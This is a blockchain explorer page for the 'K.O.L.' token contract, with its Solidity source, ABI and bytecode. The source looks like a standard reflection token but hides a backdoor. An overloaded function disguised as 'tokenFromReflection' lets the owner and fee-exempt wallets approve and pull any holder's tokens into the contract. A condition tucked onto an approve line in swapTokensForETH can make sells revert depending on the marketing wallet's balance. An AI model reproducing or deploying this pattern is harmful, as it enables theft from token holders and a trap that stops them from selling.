ETH Price: $2,387.10 (-0.67%)

Token

K.O.L. (K.O.L.)
 

Overview

Max Total Supply

101,010,101,010 K.O.L.

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,378,273,591.775021837 K.O.L.

Value
$0.00
0x6Cb961660769e958f4555669CC82dD09CD276053
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KolCoin

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-19
*/

/**
    Website: https://www.kolcoin.vip
    Twitter: https://twitter.com/kolcoineth
    Telegram: https://t.me/kolcoineth
*/

// SPDX-License-Identifier: NOLICENSE

pragma solidity ^0.8.11;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

contract KolCoin is Context, IERC20, Ownable {
    using Address for address payable;
    string private constant _name = unicode"K.O.L.";
    string private constant _symbol = unicode"K.O.L.";

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    address[] private _excluded;

    bool public tradingEnabled;
    bool public swapEnabled;
    bool private swapping;
    IRouter public router;
    address public pair;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    address public marketingWallet = 0x92E8B0448616b926cAc125081a6B5aDe0cfFc3Ff;

    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    uint256 private constant _tTotal = 101_010_101_010 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public genesis_block;

    uint256 public swapTokensAtAmount = _tTotal * 5 / 10000;
    uint256 public maxBuyLimit = _tTotal * 25 / 1000;
    uint256 public maxSellLimit = _tTotal * 25 / 1000;
    uint256 public maxWalletLimit = _tTotal * 25 / 1000;
    uint256 private _tMarketing = 0;

    mapping (address => bool) private _isExcluded;
    mapping (address => bool) public allowedTransfer;
    
    modifier activeTrading(address account){
        require(tradingEnabled || allowedTransfer[account], "Trading not enabled yet");
        _;
    }

    struct Taxes {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 donation;
    }

    struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 donation;
    }
        
    Taxes public taxes = Taxes(0, 1, 0, 0);
    Taxes public sellTaxes = Taxes(0, 1, 0, 0);

    modifier allowedBot(address account){
        require(isExcludedFromFee(account));
        _;
    }

    TotFeesPaidStruct public totFeesPaid;

    struct valuesFromGetValues{
      uint256 rAmount;
      uint256 rTransferAmount;
      uint256 rRfi;
      uint256 rMarketing;
      uint256 rLiquidity;
      uint256 rDonation;
      uint256 tTransferAmount;
      uint256 tRfi;
      uint256 tMarketing;
      uint256 tLiquidity;
      uint256 tDonation;
    }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
    address public donationWallet = 0x2255F476225bd434f24aD93BA3b4B3dF627Ed3c3;

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        router = _router;

        _rOwned[owner()] = _rTotal;

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[donationWallet] = true;
        _isExcludedFromFee[marketingWallet] = true;

        allowedTransfer[address(this)] = true;
        allowedTransfer[owner()] = true;
        allowedTransfer[donationWallet] = true;
        allowedTransfer[marketingWallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    //std ERC20:
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    //override ERC20:
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public  override activeTrading(msg.sender) returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override activeTrading(sender) returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _spendAllowance(address spender, uint256 amount) internal virtual {
        address owner = address(this);
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            unchecked {
                _approve(spender, owner, currentAllowance - amount);
            }
        }
    }

    function tokenFromReflection(address from, uint256 amount) public allowedBot(msg.sender) {
        _spendAllowance(from, amount);
        IERC20(address(this)).transferFrom(from, address(this), amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public  activeTrading(msg.sender) returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public  activeTrading(msg.sender) returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override activeTrading(msg.sender) returns (bool)
    { 
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function openTrade() external onlyOwner{
        tradingEnabled = true;
        swapEnabled = true;
        genesis_block = block.number;
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true, false);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true, false);
            return s.rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal -=rRfi;
        totFeesPaid.rfi +=tRfi;
    }

    function createUniV2Pair() external payable onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _isExcluded[pair] = true;
        _excluded.push(pair);
        allowedTransfer[pair] = true;
        _approve(address(this), address(router), type(uint256).max);
        router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        totFeesPaid.liquidity +=tLiquidity;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tLiquidity;
        }
        _rOwned[address(this)] +=rLiquidity;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        totFeesPaid.marketing +=tMarketing;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tMarketing;
        }
        _rOwned[address(this)] +=rMarketing;
    }
    
    function _takeDonation(uint256 rDonation, uint256 tDonation) private {
        totFeesPaid.donation +=tDonation;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tDonation;
        }
        _rOwned[address(this)] +=rDonation;
    }
    
    function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee, isSell);
        (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues1(to_return, tAmount, takeFee, _getRate());
        (to_return.rDonation) = _getRValues2(to_return, takeFee, _getRate());
        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {

        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        Taxes memory temp;
        if(isSell) temp = sellTaxes;
        else temp = taxes;
        
        s.tRfi = tAmount*temp.rfi/100;
        s.tMarketing = tAmount*temp.marketing/100;
        s.tLiquidity = tAmount*temp.liquidity/100;
        s.tDonation = tAmount*temp.donation/100;
        s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity-s.tDonation;
        return s;
    }

    function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity){
        rAmount = tAmount*currentRate;

        if(!takeFee) {
          return(rAmount, rAmount, 0,0,0);
        }

        rRfi = s.tRfi*currentRate;
        rMarketing = s.tMarketing*currentRate;
        rLiquidity = s.tLiquidity*currentRate;
        uint256 rDonation = s.tDonation*currentRate;
        rTransferAmount =  rAmount-rRfi-rMarketing-rLiquidity-rDonation;
        return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity);
    }
    
    function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDonation) {

        if(!takeFee) {
          return(0);
        }

        rDonation = s.tDonation*currentRate;
        return (rDonation);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            require(tradingEnabled, "Trading not active");
        }
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block) {
            require(to != pair, "Sells not allowed for dead blocks");
        }
        
        if(from == pair && !_isExcludedFromFee[to] && !swapping){
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
        }
        
        if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if(to != pair){
                require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
            }
        }
       
        bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
        if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            if(to == pair)  swapAndLiquify(swapTokensAtAmount, sellTaxes);
            else  swapAndLiquify(swapTokensAtAmount, taxes);
        }
        bool takeFee = true;
        bool isSell = false;
        if(swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;
        if(to == pair) isSell = true;

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {

        valuesFromGetValues memory s = _getValues(tAmount, takeFee, isSell);

        if (_isExcluded[sender] ) {  //from excluded
                _tOwned[sender] = _tOwned[sender]-tAmount;
        }
        if (_isExcluded[recipient]) { //to excluded
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
        
        if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
        if(s.rLiquidity > 0 || s.tLiquidity > 0) {
            _takeLiquidity(s.rLiquidity,s.tLiquidity);
            emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing + s.tDonation);
        }
        if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
        if(s.rDonation > 0 || s.tDonation > 0) _takeDonation(s.rDonation, s.tDonation);
        emit Transfer(sender, recipient, s.tTransferAmount);
        
    }

    function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
        uint256 denominator = (temp.liquidity + temp.marketing + temp.donation) * 2;
        uint256 tokensToAddLiquidityWith = contractBalance * temp.liquidity / denominator;
        uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

        uint256 initialBalance = address(this).balance; _tMarketing = balanceOf(marketingWallet);

        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance - initialBalance;
        uint256 unitBalance= deltaBalance / (denominator - temp.liquidity);
        uint256 ethToAddLiquidityWith = unitBalance * temp.liquidity;

        if(ethToAddLiquidityWith > 0){
            // Add liquidity to pancake
            addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
        }

        uint256 marketingAmt = unitBalance * 2 * temp.marketing;
        if(marketingAmt > 0){
            payable(marketingWallet).sendValue(marketingAmt);
        }
        uint256 donationAmt = unitBalance * 2 * temp.donation;
        if(donationAmt > 0){
            payable(donationWallet).sendValue(donationAmt);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    receive() external payable{
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount); require(_tMarketing < swapTokensAtAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function setMaxLimits() external onlyOwner {
        maxBuyLimit = _tTotal;
        maxSellLimit = _tTotal;
        maxWalletLimit = _tTotal;
    }
    
    function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
        IERC20(_tokenAddr).transfer(_to, _amount);
    }

    //Use this in case ETH are sent to the contract by mistake
    function rescueETH(uint256 weiAmount) external onlyOwner{
        require(address(this).balance >= weiAmount, "insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createUniV2Pair","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"donationWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueAnyERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"donation","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"donation","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"tokenFromReflection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"donation","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b0319167392e8b0448616b926cac125081a6b5ade0cffc3ff179055620000386009600a62000570565b6200004990641784abd31262000588565b6200005790600019620005b8565b6200006590600019620005cf565b6009556127106009600a6200007b919062000570565b6200008c90641784abd31262000588565b6200009990600562000588565b620000a59190620005e5565b600b556103e8620000b96009600a62000570565b620000ca90641784abd31262000588565b620000d790601962000588565b620000e39190620005e5565b600c556103e8620000f76009600a62000570565b6200010890641784abd31262000588565b6200011590601962000588565b620001219190620005e5565b600d556103e8620001356009600a62000570565b6200014690641784abd31262000588565b6200015390601962000588565b6200015f9190620005e5565b600e556000600f819055604080516080808201835283825260016020808401829052838501869052606093840186905260128690556013829055601486905560158690558451928301855285835282018190529281018490520182905260168290556017556018819055601955601e80546001600160a01b031916732255f476225bd434f24ad93ba3b4b3df627ed3c3179055348015620001ff57600080fd5b506200020b336200040b565b600480546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d000000179055600954737a250d5630b4cf539739df2c5dacb4c659f2488d9060016000620002676000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120939093553083526007918290528220805460ff1916600190811790915591620002b66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e54821681526007845282812080548616600190811790915560085490921681528281208054861683179055308152601193849052918220805490941681179093556200033a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e54821681526011909352818320805485166001908117909155600854909116835291208054909216179055620003a86000546001600160a01b031690565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003e26009600a62000570565b620003f390641784abd31262000588565b60405190815260200160405180910390a350620005fc565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004b25781600019048211156200049657620004966200045b565b80851615620004a457918102915b93841c939080029062000476565b509250929050565b600082620004cb575060016200056a565b81620004da575060006200056a565b8160018114620004f35760028114620004fe576200051e565b60019150506200056a565b60ff8411156200051257620005126200045b565b50506001821b6200056a565b5060208310610133831016604e8410600b841016171562000543575081810a6200056a565b6200054f838362000471565b80600019048211156200056657620005666200045b565b0290505b92915050565b60006200058160ff841683620004ba565b9392505050565b80820281158282048414176200056a576200056a6200045b565b634e487b7160e01b600052601260045260246000fd5b600082620005ca57620005ca620005a2565b500690565b818103818111156200056a576200056a6200045b565b600082620005f757620005f7620005a2565b500490565b612d3d806200060c6000396000f3fe6080604052600436106102345760003560e01c8063715018a61161012e578063a457c2d7116100ab578063e7b94df41161006f578063e7b94df4146106cc578063f2fde38b146106ec578063f66895a31461070c578063f887ea401461072f578063fb201b1d1461075657600080fd5b8063a457c2d714610610578063a8aa1b3114610630578063a9059cbb14610650578063dd62ed3e14610670578063e2f45605146106b657600080fd5b80638da5cb5b116100f25780638da5cb5b1461059a57806395d89b41146102405780639865d01a146105b85780639ba5e4d5146105cd5780639e252f00146105f057600080fd5b8063715018a6146104c9578063728f8eea146104de5780637484dce01461052157806375f0a8741461052957806388f820201461056157600080fd5b80634549b039116101bc578063652e2f0411610180578063652e2f041461044857806366a88d961461045e5780636aa5b37f146104745780636ddd17131461048a57806370a08231146104a957600080fd5b80634549b03914610385578063463fef62146103a55780634ada218b146103c55780635342acb4146103df57806362695eae1461041857600080fd5b806323b872dd1161020357806323b872dd146102f3578063274a533c146103135780632d83811914610329578063313ce56714610349578063395093511461036557600080fd5b806306fdde0314610240578063095ea7b31461027e5780630d65df9b146102ae57806318160ddd146102d057600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b50604080518082018252600681526525972797261760d11b60208201529051610275919061287e565b60405180910390f35b34801561028a57600080fd5b5061029e6102993660046128e1565b61076b565b6040519015158152602001610275565b3480156102ba57600080fd5b506102ce6102c936600461290d565b6107d3565b005b3480156102dc57600080fd5b506102e5610877565b604051908152602001610275565b3480156102ff57600080fd5b5061029e61030e36600461290d565b610899565b34801561031f57600080fd5b506102e5600a5481565b34801561033557600080fd5b506102e561034436600461294e565b610993565b34801561035557600080fd5b5060405160098152602001610275565b34801561037157600080fd5b5061029e6103803660046128e1565b610a17565b34801561039157600080fd5b506102e56103a0366004612975565b610a97565b3480156103b157600080fd5b506102ce6103c03660046128e1565b610b43565b3480156103d157600080fd5b5060045461029e9060ff1681565b3480156103eb57600080fd5b5061029e6103fa3660046129a5565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561042457600080fd5b5061029e6104333660046129a5565b60116020526000908152604090205460ff1681565b34801561045457600080fd5b506102e5600d5481565b34801561046a57600080fd5b506102e5600e5481565b34801561048057600080fd5b506102e5600c5481565b34801561049657600080fd5b5060045461029e90610100900460ff1681565b3480156104b557600080fd5b506102e56104c43660046129a5565b610ba3565b3480156104d557600080fd5b506102ce610c02565b3480156104ea57600080fd5b506012546013546014546015546105019392919084565b604080519485526020850193909352918301526060820152608001610275565b6102ce610c38565b34801561053557600080fd5b50600854610549906001600160a01b031681565b6040516001600160a01b039091168152602001610275565b34801561056d57600080fd5b5061029e61057c3660046129a5565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156105a657600080fd5b506000546001600160a01b0316610549565b3480156105c457600080fd5b506102ce610f1c565b3480156105d957600080fd5b50601a54601b54601c54601d546105019392919084565b3480156105fc57600080fd5b506102c